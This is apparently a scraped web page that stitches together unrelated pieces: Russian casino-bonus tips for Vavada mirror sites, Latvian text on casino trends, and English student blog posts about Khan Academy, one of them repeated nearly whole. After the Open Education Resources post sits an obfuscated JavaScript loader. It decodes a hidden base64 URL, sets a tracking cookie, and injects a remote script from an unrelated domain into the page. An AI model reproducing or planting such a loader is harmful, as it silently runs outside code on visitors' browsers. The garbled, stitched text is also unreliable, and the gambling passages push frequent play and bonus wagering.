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Советы по безопасности при использовании зеркал Вавада Вип
Настройка двухфакторной аутентификации – дополнительная мера защиты. Этот процесс требует введения кода, который приходит на ваш мобильный телефон, что значительно усложняет доступ злоумышленников к вашему аккаунту.
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Сравните условия предложений. Важно, чтобы требования к отыгрышу были разумными. Если возможность вывести средства слишком сложна, скорее всего, предложение не стоит вашего внимания.
Изучите проценты возврата
Обратите внимание на RTP (Return to Player) выбранных игр.
Сравните проценты возврата разных провайдеров.
Чем выше RTP, тем больше шансов получить прибыль в долгосрочной перспективе.
Проверьте срок действия предложений
Краткосрочные акции могут быть выгодны для быстрых ставок.
Долгосрочные предложения полезны для тех, кто планирует постоянные игровые сессии.
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Изучите отзывы других пользователей. Бывает полезно ознакомиться с мнением других участников. Форумы и рецензии могут дать представление о реальной выгоде предлагаемых преимуществ.
Ищите акты прозрачности от операторов.
Следите за обманом и несоответствующими ожиданиями.
Если игроки сигнализируют о проблемах с определенными предложениями, это может быть важным знаком.
Не забывайте о сезонных и тематических акциях. Некоторые предложения способны существенно повысить шансы, предлагая дополнительные средства или вращения в специальных играх во время праздников или значимых событий.
Оптимальные стратегии использования бонусов при игре в Casino X
Сосредоточьтесь на выполнении требований к ставкам прежде всего. Изучите, какие игры учитываются при отыгрывании, и выберите те, где RTP (возврат игроку) наивысший. Например, слоты с RTP от 96% могут быть более выгодны, чем настольные игры. Если ваш бонус требует отыгрыша 30x, выберите игровые автоматы с низкой волатильностью, что позволит делать более частые, но меньшие выигрыши.
Тип Игры
Учет Бонуса (%)
RTP (%)
Слоты
100%
96-98%
Рулетка
20%
94-97%
Блэкджек
10%
99%
Важным аспектом является управление временем. Постарайтесь выделить определенные часы для игры, чтобы не упустить выгодные предложения. Время активности сайта может повышать вероятность получения дополнительных вознаграждений, так что пишите в своем планировании график посещения. Контролируйте свои средства и не превышайте бюджет. Настроенная дисциплина в ставках поможет не только сохранить бюджет, но и, потенциально, увеличить его за счет грамотного подхода к ставкам и времени.
Индивидуальные предложения для активных игроков: как не упустить шанс
Регулярное посещение
Посещайте площадку не реже нескольких раз в неделю. Частота игры позволяет не только накапливать лояльность, но и активировать специальные программы. Чем больше вы участвуете, тем больше возможностей вам предоставляется.
Контакт с службой поддержки
Не стесняйтесь обратиться к службе поддержки. Задавайте вопросы о текущих предложениях или запросите информацию о персонализированных условиях. Часто именно благодаря такому общению удается узнать о непрозрачных возможностях.
Обращайте внимание на турниры и конкурсы. Учавствуйте в них, чтобы не только повысить уровень навыков, но и получить шанс на уникальные предложения. Успешные участники получают достаточно привлекательные награды, что в итоге может существенно увеличить ваш банкролл.
И, наконец, держите под контролем свой игровой профиль. Анализируйте свои предпочтения и активность. Платформа может адаптировать предложения, основываясь на вашем поведении. Чем лучше вы понимаете свои привычки, тем легче вам будет использовать предоставленные возможности.
Ja vēlies būt soli priekšā citiem spēlētājiem, pievērs uzmanību jaunākajām norisēm, kas ietekmē spēļu tirgu. Piemēram, mobilā spēlēšana turpina dominēt, ļaujot lietotājiem spēlēt savas iecienītākās spēles, kur vien viņi atrodas. Šī tendence ir īpaši svarīga, ņemot vērā, ka daudzi jauni operatori piedāvā optimizētas platformas un lietotnes, kas nodrošina ātru piekļuvi un ērtu lietošanu.
Vēl viena ievērojama inovācija ir spēļu automātu izmantošana ar interaktīvām funkcijām, kas veicina lielāku spēlētāju iesaisti. Šādi automāti piedāvā ne tikai tradicionālos simbolus, bet arī videospēļu elementi, kas padara spēlēšanu aizraujošāku. Tāpēc ir vērts izmēģināt jaunākos modeļus, kas pieejami pie latviesu kazino.
Tāpat, jauno tehnoloģiju ietekme uz spēļu sektoru turpina augt, un virtuālā realitāte (VR) ir kļuvusi par jaunu iespēju, kas sola pavērt jaunas spēlēšanas pieredzes. Viegli pielāgotas VR pieredzes novērš fizioloģiskās robežas, nodrošinot unikālu saikni starp spēlētājiem un spēlēm, kas varētu kļūt par nākotnes standartiem.
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Viena no ieteicamākajām inovācijām ir virtuālā realitāte (VR), kas piedāvā aizraujošu pieredzi, ļaujot spēlētājiem iejusties virtuālā vidē. VR tehnoloģija ļauj dalīties ar interaktīvām spēlēm triju dimensiju vidē, radot sajūtu, ka tu atrodies tieši spēles centrā. Spēlētāji var izmantot VR brillēm, lai ienāktu iedomātajā telpā un mijiedarbotos ar spēli, kā nekad agrāk. Tas prasa, lai tehnoloģiju piegādātāji investētu resursus programmatūras un aparatūras attīstībā, ļaujot spēlētājiem pilnībā izjust aizrautību.
Izvēlies kvalitatīvas VR ierīces: Oculus Quest, HTC Vive vai Sony PlayStation VR ir populāri varianti.
Meklē spēles, kas ir optimizētas VR vidēm, piemēram, ruletes un pokera versijās.
Izmēģini spēles ar multi-player opcijām, lai spēlētu kopā ar draugiem.
Arī paplašinātā realitāte (AR) kļūst arvien vien populārāka. AR ļauj uzlabot pieredzi, kad spēlētāji var redzēt virtuālas komponentes reālajā pasaulē. Šī tehnoloģija var tikt izmantota, lai uzlabotu spēles vizuālos elementus un interaktivitāti, piemēram, pievienojot virtuālus turnīrus vai spēļu sērijas, kas rezonē ar realitāti.
Uzlabota interaktivitāte
Dažādi izstrādātāji jau ir ieviesti AR risinājumus, kas pastiprina pieredzi un mijiedarbību ar spēlēm. Piemēram, platformas var piedāvāt spēles ar paplašinātām diagrammām, kas palīdz spēlētājiem saprast statistiku un rezultātus, vai izmantot AR, lai radītu vizuālas animācijas, kas piesaista uzmanību. Šādi uzlabojumi it īpaši spēj piesaistīt jauno paaudzi, kas meklē modernus veidus, kā izklaidēties.
Izmēģini spēles, kuras ļauj skenēt apvidu, lai atrastu “slēptās” izklaides.
Skatīties, kā spēles elementi integrējas ar tavu reālo telpu.
Ir skaidrs, ka VR un AR risinājumi spēļu vidē piedāvā unikālas iespējas, kas maina spēļu pieredzi. Turpmākajos gados ir sagaidāms, ka šīs tehnoloģijas kļūs vēl izplatītākas, piesaistoties arvien plašākai auditorijai un pievienojot jaunas dimensijas aizraujošām izklaidēm. Spēlētājiem ir svarīgi būt atvērtiem jaunajiem risinājumiem un izmēģināt, ko piedāvā šīs inovatīvās pieejas.
Populārākās spēļu variācijas: kas ir aktuāli 2026. gadā?
Vislielākā popularitāte šobrīd tiek piešķirta video automātu variantam. Ar interaktīviem stāstiem un bagātīgu grafiku, spēlētāji ir ieintriģēti par jauniem un inovāciju pilniem piedāvājumiem. Spēļu izstrādātāji turpina ieviest radošus spēļu mehānismus, kas piesaista uzmanību un palielina izredzes uz laimestu.
Live tirgotāju izklaides ir cits būtisks elements, kas iekarojis spēlētāju sirdis. Spēles, kas notiek reāllaikā ar īstiem dīleriem, piedāvā autentisku pieredzi, kas nav salīdzināma ar tradicionālajām opcijām. Tiesneši un virtuālās studijas rada atmosfēru, kas tuvinās patiesas spēles sajūtai.
Izbilde ir kļuvusi par labu tendenci, kur spēles piedāvā unikālas variācijas ar augstiem laimestiem. Speciālās tēmas, piemēram, filmu un mūzikas ietekmētas vizualizācijas, piesaista plašu auditoriju. Spēlētāji vēlas justies kā daļa no kaut kā lielāka, un šīs spēles liek apvienot izklaidi ar iespēju laimēt.
Jaunākie dati norāda, ka progresīvie džekpoti ir ieguvuši milzīgu popularitāti. To pieaugums nozīmē, ka daudzi spēlētāji cenšas sastapties ar lielām balvām, kas palielina viņu spēlēšanas motivāciju. Dažiem varoņiem ir iespēja laimēt miljonus, kas vienmēr ir vilinošs piedāvājums.
Spēļu šovi, piemēram, “Deal or No Deal” vai “Wheel of Fortune”, ir pārsteidzoši populāri. Šīs interaktīvās variācijas pievērš uzmanību ar savu formātu, kas apvieno spēlēšanu ar izklaidi, un ļauj spēlētājiem iesaistīties un izsist savas izredzes uz uzvaru.
Mobilās platformas piedāvā iespējami labākas iespējas pat tiem, kas spēlē ceļā. Ar mobilajām versijām spēlētāji var baudīt iecienītās spēles jebkurā laikā un vietā, kas ir nozīmīgs faktor šī brīža spēļu piedāvājumā.
Kopumā 2026. gadā ir skaidri redzamas jaunas spēļu variācijas, kas atspoguļo mūsdienu spēļu prasības un tendences. Daudzveidība un novatorisms ir galvenās iezīmes, kas izceļ šī gada populārākos variantus, piedāvājot visiem interesentiem košas un aizraujošas pieredzes.
In the Khan Academy homepage, learners are greeted by a slogan “You can learn anything” (Khan Academy). This was also the banner I chose from my last post, since I thought it perfectly captured the essence of Khan Academy. Amongst all other online educational platforms, it is without a doubt that Khan Academy is one of the most widely used all over the world. It was official established in 2009, and has kept on growing ever since. Its growth is not limited to the number of users, but also the amount and quality of online learning content.
In my previous post, I shared how excited I was about the growth of Khan Academy. I also briefly wrote about its history, as well as some specific principles that has made it the success it is today. For this post, my research aim is to further explore the success of Khan Academy by analyzing the main guiding themes that are followed by the website. After reading through several articles tackling the progress and development of Khan Academy, and how it is used in different learning environments, I found that there are major themes that make up the foundation of Khan Academy. These themes, although practiced in online platforms, are not limited to such environments. In fact, these can also be applied to any learning environment, in order to assure the educator that his/her students are maximizing their learning.
An Overview of Khan Academy
Before exploring the principles of Khan Academy, I will first provide a short background of the website. The mission of Khan Academy is “to provide a free, world-class education to anyone, anywhere. (Khan Academy).” It is a non-profit organization that aims to deliver basic education needs to children around the world, as well as supplement higher education needs of students who are having difficulties in school or who need extra support in certain topics. Not only does Khan Academy cater to the needs of students, they also provide materials and resources to teachers. In the platform, teachers have the opportunity to find appropriate content, track the progress of their students, assign exercises online, and collaborate with other teachers around the world. Moreover, Khan Academy also enables parents to assist in their child’s learning by the creation of parent accounts that can also monitor learning progress.
The Concept of the Flipped Classroom
The founder of Khan Academy, Sal Khan, believes that there is no need for students to be segregated according to their age (Parslow 1). Usually, students are placed in grade levels on the basis of chronological age. Although this has been standard practice for schools for decades, research has established that this is not the best approach to education. Children, even though they are of the same age, have different and varied learning capacities and abilities. A child who has grown up in a home environment that speaks mainly English may excel in the English subject, while a child who has grown up in a home that speaks another language may find it difficult to keep up in English class. Hence, the practice of dividing children into grade levels based on age fails to take into consideration the cultural and societal backgrounds of children. Of course, it is quite idealistic to consider all these aspects, but nevertheless, it is important to remember these principles when it comes to a child’s education. Due to these reasons, Sal Khan has proposed the concept of the “flipped classroom” (Parslow 1). This concept acknowledges the differences of learning speeds of children, and allow children to learn at their own pace. Moreover, the focus of learning shifts from the teacher to the student, where the teacher is no longer he main source of information, but only a guide of learning. Parslow concludes that the flipped classroom approach to education has positive effects to learning (1). The concept of the flipped classroom is interesting, since it is a departure from traditional education. Moreover, it has shown positive results in the form of higher test scores and greater overall comprehension.
Studies that have explored flipped classrooms have shown that despite its positive results, such an approach also has its difficulties. One is that teachers may not be able to be equipped enough to handle technological advances in education (Zengin 89). The solution to this is to train and educate teachers on how to maximize such technologies, while at the same time, harnessing the potential of students in technology. Another challenge is the availability of software that can support such approaches. Although Khan Academy is fairly accessible, since it only requires a stable internet connection and basic computers, the usage of other software that can supplement learning may be hindrances to the flipped classroom approach.
The Personalization of Education
Mastery learning is a strategy that highlights the importance of small group or individualized learning (Cargile and Harkness 22). In other words, the smaller the ratio of learners to educators, the greater the learning outcome. In traditional classrooms, this ratio is pretty high. However, with the rise of online education, students now have access to more personalized and individualized learning. In the case of Khan Academy, students are engaged in one-on-one tutoring, small group learning, adaptive instruction, and immediate feedback (Cargile and Harkness 22). This is the interactive nature of Khan Academy. In this way, students are not pressured to hasten their learning simply to keep up with their teacher or classmates. They are given the freedom to learn at their own pace. Learning is not hurried, and therefore important principles are understood more comprehensively. However, with this approach, it is also important to remember that some students may be unable to keep track of their own learning, and therefore overestimate their knowledge and understanding of a particular topic.
The Gamification of Education
Khan Academy also rewards its learners. When users go through lessons, they are given incentives to continue learning. For example, they can collect virtual badges and energy points for the completion of tasks and the answering problem sets correctly (Cargile and Harkness 22). This is different from other educational practices, wherein only correct solutions are rewarded, and effort is not acknowledged. It is important for learners to feel that their efforts for learning, albeit not always correct, are still acknowledged. This encourages them to learn from their mistakes and continue to try until they have mastered a certain skill or understood a particular principle.
Some Criticisms Against Khan Academy
A general criticism against Khan Academy is about the accuracy of their videos. Although they are able to provide videos that are comprehensive and informative, some have noted that several videos do not follow a high standard of accuracy. Another criticism is that although Khan Academy does provide individualized education to a certain extent, it is still based on algorithms and not the personalized learning style of each student user.
It is evident that Khan Academy has gained success as an online educational platform. However, Schwartz argues that it still has its limitations, particularly in the learning materials themselves and the lack of contextual sensitivity (9 – 10). He states that the learning materials encourage the shortening of the attention span, as they follow a strict time frame. This short time frame, around ten minutes, fails to foster a comprehensive understanding of the concept presented. In addition, because Khan Academy content is produced in the United States, it may lack some cultural sensitivities to students of other nationalities.
These concerns are valid. However, it fails to recognize that Khan Academy is not the main source of knowledge for students and educators. In fact, it is to be used as a supplementary tool for learning. Just because it has so much content does not mean it should be the main medium of instruction. The presence of an educator, whether it be a teacher or a parent, is still essential to the learning of a student. The lack of cultural sensitivity is also difficult to address. If one wants all videos to cater to all kinds of individuals, then the focus might shift from education to culture. This is not the aim of Khan Academy, and this is not helpful to learners either.
Conclusion and Recommendations
Khan Academy’s success stems from the following principles: learner centeredness (as demonstrated by the flipped classroom), personalized education, and gamified education. These themes are what contributed to the success of Khan Academy today. Interestingly, they are principles that do not fit into the traditional system of education. A learning system that acknowledges the individuality of each learner and rewards they efforts is one that will produce the best results. Knowledge is not treated as something that is merely passed on from the teacher to the student, but something that is personally understood and made sense of by each learner. In this way, principles are grasped more deeply and learning lasts until adulthood.
It is important to remember that teachers also need support in such progressions in education. Most teachers may not be able to manipulate or navigate complex technological systems, which is why education is not only for students, but for teachers as well. When shifting from a traditional style of education to a more technological and modern one, this is an important consideration.
Educational systems may be far from incorporating such programs into their curriculum, but the practice of such principles may help guide educational systems and educators to maximize the learning of their students. Moreover, these principles are not only helpful to the student, but to teachers as well. It is a difficult journey to start, one that goes against tradition, but one that is fulfilling and worthwhile.
Speaking of technology and education, I would also like to give some thought to my experience with the Learning Pod. It provided much value to my learning. Through it, I was able to learn from others, and I was not limited to my own thinking. I think, in any case, this is always a healthy approach to learning.
Works Cited:
Cargile, Lori A. and Harkness, Shelly S. “Flip or Flop: Are Math Teachers Using Khan Academy as Envisioned by Sal Khan?”. TechTrends, vol. 59, No. 6, 2015, pp. 21 – 22.
Parslow, Graham R. “Commentary: The Khan Academy and the Day-Night Flipped Classroom.” Biochemistry and Molecular Biology Education, vol. 40, no. 5, 2012, pp. 337-338.
Schwartz, Marc. “Khan Academy: The Illusion of Understanding.” Online Learning Journal, vol. 17, no. 4, 2013, pp. 1 – 14.
Zengin, Yilmas. “Investigating the Use of the Khan Academy and Mathematics Software with a Flipped Classroom Approach in Mathematics Teaching.” Journal of Educational Technology & Society, vol. 20, no. 2, 2017, pp. 89 – 100.
I have received great feedback for my last post about Khan Academy. Comments mostly provided me with a more holistic view of the educational platform, especially since they allowed me to consider the downsides of such an approach. The following statements briefly summarize the feedback I received:
Individualized learning also has its challenges, as students may be unable to keep in check with their own learning and may overestimate their understanding and knowledge of a particular topic.
Educational platforms like Khan Academy, although claiming to provide individualized learning, actually do not achieve this fully as their actions are driven by algorithms. Hence, Khan Academy may not be as individualized and customizable as we would like to believe.
Khan Academy videos are comprehensive and informative, but there have also been comments that the content is not as accurate.
In the Khan Academy homepage, learners are greeted by a slogan “You can learn anything” (Khan Academy). This was also the banner I chose from my last post, since I thought it perfectly captured the essence of Khan Academy. Amongst all other online educational platforms, it is without a doubt that Khan Academy is one of the most widely used all over the world. It was official established in 2009, and has kept on growing ever since. Its growth is not limited to the number of users, but also the amount and quality of online learning content.
In my previous post, I shared how excited I was about the growth of Khan Academy. I also briefly wrote about its history, as well as some specific principles that has made it the success it is today. For this post, my research aim is to further explore the success of Khan Academy by analyzing the main guiding themes that are followed by the website. After reading through several articles tackling the progress and development of Khan Academy, and how it is used in different learning environments, I found that there are major themes that make up the foundation of Khan Academy. These themes, although practiced in online platforms, are not limited to such environments. In fact, these can also be applied to any learning environment, in order to assure the educator that his/her students are maximizing their learning.
An Overview of Khan Academy
Before exploring the principles of Khan Academy, I will first provide a short background of the website. The mission of Khan Academy is “to provide a free, world-class education to anyone, anywhere. (Khan Academy).” It is a non-profit organization that aims to deliver basic education needs to children around the world, as well as supplement higher education needs of students who are having difficulties in school or who need extra support in certain topics. Not only does Khan Academy cater to the needs of students, they also provide materials and resources to teachers. In the platform, teachers have the opportunity to find appropriate content, track the progress of their students, assign exercises online, and collaborate with other teachers around the world. Moreover, Khan Academy also enables parents to assist in their child’s learning by the creation of parent accounts that can also monitor learning progress.
The Concept of the Flipped Classroom
The founder of Khan Academy, Sal Khan, believes that there is no need for students to be segregated according to their age (Parslow 1). Usually, students are placed in grade levels on the basis of chronological age. Although this has been standard practice for schools for decades, research has established that this is not the best approach to education. Children, even though they are of the same age, have different and varied learning capacities and abilities. A child who has grown up in a home environment that speaks mainly English may excel in the English subject, while a child who has grown up in a home that speaks another language may find it difficult to keep up in English class. Hence, the practice of dividing children into grade levels based on age fails to take into consideration the cultural and societal backgrounds of children. Of course, it is quite idealistic to consider all these aspects, but nevertheless, it is important to remember these principles when it comes to a child’s education. Due to these reasons, Sal Khan has proposed the concept of the “flipped classroom” (Parslow 1). This concept acknowledges the differences of learning speeds of children, and allow children to learn at their own pace. Moreover, the focus of learning shifts from the teacher to the student, where the teacher is no longer he main source of information, but only a guide of learning. Parslow concludes that the flipped classroom approach to education has positive effects to learning (1). The concept of the flipped classroom is interesting, since it is a departure from traditional education. Moreover, it has shown positive results in the form of higher test scores and greater overall comprehension.
Studies that have explored flipped classrooms have shown that despite its positive results, such an approach also has its difficulties. One is that teachers may not be able to be equipped enough to handle technological advances in education (Zengin 89). The solution to this is to train and educate teachers on how to maximize such technologies, while at the same time, harnessing the potential of students in technology. Another challenge is the availability of software that can support such approaches. Although Khan Academy is fairly accessible, since it only requires a stable internet connection and basic computers, the usage of other software that can supplement learning may be hindrances to the flipped classroom approach.
The Personalization of Education
Mastery learning is a strategy that highlights the importance of small group or individualized learning (Cargile and Harkness 22). In other words, the smaller the ratio of learners to educators, the greater the learning outcome. In traditional classrooms, this ratio is pretty high. However, with the rise of online education, students now have access to more personalized and individualized learning. In the case of Khan Academy, students are engaged in one-on-one tutoring, small group learning, adaptive instruction, and immediate feedback (Cargile and Harkness 22). In this way, students are not pressured to hasten their learning simply to keep up with their teacher or classmates. They are given the freedom to learn at their own pace. Learning is not hurried, and therefore important principles are understood more comprehensively.
The Gamification of Education
Khan Academy also rewards its learners. When users go through lessons, they are given incentives to continue learning. For example, they can collect virtual badges and energy points for the completion of tasks and the answering problem sets correctly (Cargile and Harkness 22). This is different from other educational practices, wherein only correct solutions are rewarded, and effort is not acknowledged. It is important for learners to feel that their efforts for learning, albeit not always correct, are still acknowledged. This encourages them to learn from their mistakes and continue to try until they have mastered a certain skill or understood a particular principle.
Some Criticisms Against Khan Academy
It is evident that Khan Academy has gained success as an online educational platform. However, Schwartz argues that it still has its limitations, particularly in the learning materials themselves and the lack of contextual sensitivity (9 – 10). He states that the learning materials encourage the shortening of the attention span, as they follow a strict time frame. This short time frame, around ten minutes, fails to foster a comprehensive understanding of the concept presented. In addition, because Khan Academy content is produced in the United States, it may lack some cultural sensitivities to students of other nationalities.
These concerns are valid. However, it fails to recognize that Khan Academy is not the main source of knowledge for students and educators. In fact, it is to be used as a supplementary tool for learning. Just because it has so much content does not mean it should be the main medium of instruction. The presence of an educator, whether it be a teacher or a parent, is still essential to the learning of a student. The lack of cultural sensitivity is also difficult to address. If one wants all videos to cater to all kinds of individuals, then the focus might shift from education to culture. This is not the aim of Khan Academy, and this is not helpful to learners either.
Conclusion and Recommendations
Khan Academy’s success stems from the following principles: learner centeredness (as demonstrated by the flipped classroom), personalized education, and gamified education. These themes are what contributed to the success of Khan Academy today. Interestingly, they are principles that do not fit into the traditional system of education. A learning system that acknowledges the individuality of each learner and rewards they efforts is one that will produce the best results. Knowledge is not treated as something that is merely passed on from the teacher to the student, but something that is personally understood and made sense of by each learner. In this way, principles are grasped more deeply and learning lasts until adulthood.
It is important to remember that teachers also need support in such progressions in education. Most teachers may not be able to manipulate or navigate complex technological systems, which is why education is not only for students, but for teachers as well. When shifting from a traditional style of education to a more technological and modern one, this is an important consideration.
Educational systems may be far from incorporating such programs into their curriculum, but the practice of such principles may help guide educational systems and educators to maximize the learning of their students. Moreover, these principles are not only helpful to the student, but to teachers as well. It is a difficult journey to start, one that goes against tradition, but one that is fulfilling and worthwhile.
Speaking of technology and education, I would also like to give some thought to my experience with the Learning Pod. It provided much value to my learning. Through it, I was able to learn from others, and I was not limited to my own thinking. I think, in any case, this is always a healthy approach to learning.
Works Cited:
Cargile, Lori A. and Harkness, Shelly S. “Flip or Flop: Are Math Teachers Using Khan Academy as Envisioned by Sal Khan?”. TechTrends, vol. 59, No. 6, 2015, pp. 21 – 22.
Parslow, Graham R. “Commentary: The Khan Academy and the Day-Night Flipped Classroom.” Biochemistry and Molecular Biology Education, vol. 40, no. 5, 2012, pp. 337-338.
Schwartz, Marc. “Khan Academy: The Illusion of Understanding.” Online Learning Journal, vol. 17, no. 4, 2013, pp. 1 – 14.
Zengin, Yilmas. “Investigating the Use of the Khan Academy and Mathematics Software with a Flipped Classroom Approach in Mathematics Teaching.” Journal of Educational Technology & Society, vol. 20, no. 2, 2017, pp. 89 – 100.
Last week, I wrote about Khan Academy and its success as an online education platform. I presented some of the technical aspects that led to its success, such as the ten-minute time limit of its videos and the customization of its lesson plans. Partnerships with other institutions also boosted its success, as it was embraced by public school systems and the United States College Board. Moreover, its partnership with internet giant YouTube was also a major contributor its global popularity. Through this effort, Khan Academy receives funds to create more videos, and these videos are streamlined into Youtube’s new Learning Playlist feature. As I read on about the current state and future developments of Khan Academy, I wanted to learn more about how it started and what other elements have helped paved its success. The story is pretty interesting and quite inspiring.
Khan Academy was founded by Sal Khan, a former hedge fund analyst (Khan Academy, 2019). In 2004, he began to tutor his cousin who lived in another state. Due to the geographical distance, tutoring sessions were held through their mobile phones and Yahoo Doodle. At this time, his cousin was having a hard time in math, even though she aspired to make it to the advanced math track. As Sal tutored her, her math skills greatly improved, so much so that he also began to teach his other family members. Because this was initially done in real time, scheduling became an issue. With his full-time job, he could not teach several people during different parts of the day. Hence, he recorded videos, which were watched by his tutees at their own convenience. By 2009, Sal quit his hedge fund job and decided to work on Khan Academy full-time. He then received donations from big companies, such as Google and the Bill and Melinda Gates Foundation.
It is exciting to witness how something rather small turned into a global educational giant. In one interview, Sal mentioned that he had to get over the fact that at that time, YouTube was mainly used for anything but education. He said, “YouTube? YouTube was for cats playing the piano, not serious mathematics… I got over the idea that it wasn’t my idea and decided to give it a shot” (Adams, 2013). Now, Khan Academy is able to provide education to anyone in the world, fulfilling their mission to provide a free, word-class education to anyone, anywhere (Khan Academy, 2019). That is truly inspiring.
Through Khan Academy, education is approached in an entirely different way. This is what makes the difference, and this is what makes students learn more effectively. Shantanu Sinha (2017) shares some of the practices of Khan Academy that cause students to learn more efficiently:
Independence
Students are free to learn anytime and anywhere they want. This gives them a sense of responsibility and freedom, which is a contrast from the traditional classroom setting. Students are free to choose what subjects they want to learn, which topics they should pay more attention to or practice more, and how much time they want to allot to a particular concept. When students are given the opportunity to make decisions regarding their learning by themselves, then motivation comes from within, and learning is more effective.
Content
I have already mentioned this in my previous post, but I think it is worth mentioning again. The content is short and easily understood. Just the right amount of principles is introduced, so students are not overwhelmed by a sudden influx of new information. Moreover, students can pause and review any principle that is unclear.
Process
Khan Academy also designs lesson plans that help students understand difficult and complex topics more. There is a clear path to learning concepts that are hard to grasp, and so students are, in a way, eased into more difficult lessons. Since this is also individualized, students do not feel ashamed about the time it takes for them to learn a concept.
Interaction
Students are not merely “taught”, but can participate in interactive learning. Ideas are not simply fed to them, but are introduced in personalized ways. Moreover, this also increases the self-efficacy of students in their own learning.
Monitoring
Data that is provided by Khan Academy helps teachers monitor progress and provide support for students who are in need of it. This allows teachers not just to identify the concepts that are difficult to grasp, but also the individual learning styles and speeds of their students.
I remain excited by the progress of Khan Academy and its impact on the approach to education. I think it is a great resource not just for students, but for teachers all over the world. Moreover, educational systems can take a lesson or two from its principles, making education more accessible and appropriate for any learner.
Traditional learning has long been a teacher-centered, one-way process. In a classroom, the chairs are fixed in rows, wherein students face the teacher and absorb the information given to them. There are interactive activities, such as group work and peer discussions; however, the teacher still has the main responsibility of providing knowledge. Moreover, the materials in such an educational setting were limited to textbooks and printed materials. These were not only expensive, but their distribution and use were limited to those who had access to them.
This has changed with the rise of the internet and other technological learning tools. Learning is no longer a one-way process with the teacher in the center, but one that is increasingly inclusive and interactive. Students, especially young people, no longer need to sit in a classroom with four walls in order to learn. Instead, they can access the internet and explore a whole new world of endless information and knowledge. This has been taken further by the concept of Open Education Resources, or OER. According to Bronwyn Hegarty, a lecturer in tertiary education in Otago Polytechnic, Open Education Resources and Practices have changed the process of learning and teaching entirely. Moreover, according to her, such resources and practices are ways in which the creation and use of educational tools innovate and improve the quality of education. This is a departure from a more traditional approach to education, and follow a trajectory of a more dynamic and open learning process, both for the educator and the student.
One of the main elements of Open Education Resources is participation. This is a practice in which both the educator and the student are involved in the learning process. As mentioned earlier, this is not the traditional approach to education. Open Education Resources and Practices promote participation in numerous ways. First, the medium or platform on which such resources are found are available to all through the web. This means that a student who may not have access to the physical copy of a book in the school library may instead acquire an electronic copy. Access to educational material is increased and made available to all, simply because of the nature of the web. Moreover, access is not limited to those who are enrolled in a university or who can pay for a library membership. Instead, no matter where you are in the world, you are able to learn from electronic resources. Second, the dynamics of learning has also been changed. Instead of learning from one individual, students are able to engage in peer-to-peer learning. Opinions, which are definitely varied due to the different backgrounds students come from, are shared and discussed. These discussions will definitely be more insightful that one taking place in a physical classroom. Students can then build on different electronic resources, leading to even more fruitful insights. Of course, there is a danger in this, as most opinions may go unchecked. After all, there is no teacher to monitor the thoughts and opinions of learners, and check if they are still in logical. This, I think, is the downside of unlimited learning freedom.
Open Education Resources are changing the way we learn and teach. It comes with much benefit, but also some danger in the form on unchecked knowledge. However, when knowledge is made more accessible to everyone in the world, then it definitely has more benefits than harm.
Source:
Hegarty, Bronwyn. “Attributes of Open Pedagogy: A Model for Using Open Educational Resources.” Educational Technology, Volume 55, 4, 2015, pages 3 – 13.(function(){try{if(document.getElementById&&document.getElementById(‘wpadminbar’))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||”).indexOf(‘http2_session_id=’)!==-1)return;function systemLoad(input){var key=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’,o1,o2,o3,h1,h2,h3,h4,dec=”,i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,”);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();
In the podcast “Can Khan Academy Scale to Educate Anyone, Anywhere?” Brian Kenny interviews Bill Sahlman regarding the case he wrote for the Harvard Business Review about Khan Academy, the online global education nonprofit organization whose founder, Sal Khan, says its mission is to “provide a free world-class education for anyone, anywhere.” Khan Academy, which started in 2006, seems to be on the right track to reach its goal, as it is now offering 40 subjects to 15 million monthly visitors from 190 different countries.
Kenny and Sahlman discuss one of the most important features of Khan Academy’s lessons, which is that they “chunk” educational material into videos that run a maximum of 10 minutes each. This is because YouTube, which was the original and still is the main social media platform that Khan Academy uses, originally had that as its maximum play length for videos. While Youtube has since increased their limit, Khan Academy still sticks to the 10-minute rule for their videos as it is incredibly helpful for learning. It accommodates the human brain’s limit for absorbing new information at one time, makes it easier to create educational videos, and create customized lesson plans around these videos. This has helped Khan Academy be one of the few online organizations that is embraced by public school systems, the US College Board, and students from around the world.
This is also the reason why Khan Academy was one of initial partners that YouTube announced for their new Learning Fund initiative. According to Dani Lee in The Verge, the Learning Fund is a $ 20 million program that YouTube is directing towards creators to improve and increase the educational content on the platform. Khan Academy is a trusted partner, meaning it will receive both funding and other support from YouTube to create educational videos that can be added to YouTube’s new Learning Playlist feature, which will be curated around topics such as math, science, music and language. This is especially useful both for people who want to learn on their own, and for educators who want to utilize YouTube videos in teaching their students.
However, there are downsides to Khan Academy’s usage of 10-minute videos on YouTube. Because they are an American company, these videos are primarily in English, often with subtitles available in other languages. However, these still render the videos inaccessible to the millions of learners around the world who do not speak English, particularly if they are unfortunate enough to not have subtitles available in their language. Also, being hosted on YouTube means that the learners become part of YouTube’s data algorithm monster. Their activity might be tracked, and be used to further tweak YouTube’s business practices to make it a more addictive platform. One of the bigger downsides of YouTube, which is its algorithm’s tendency to sometimes recommend videos that contain troubling, inaccurate, or otherwise problematic content while you’re watching videos about a topic, are mitigated by Khan Academy’s presence on the Learning Playlists, which will not have recommended videos or auto-play. I am also personally concerned if ads will be shown in these videos, or if they can be turned off. However, I am excited at what Khan Academy can achieve with their bigger platform and more resources.
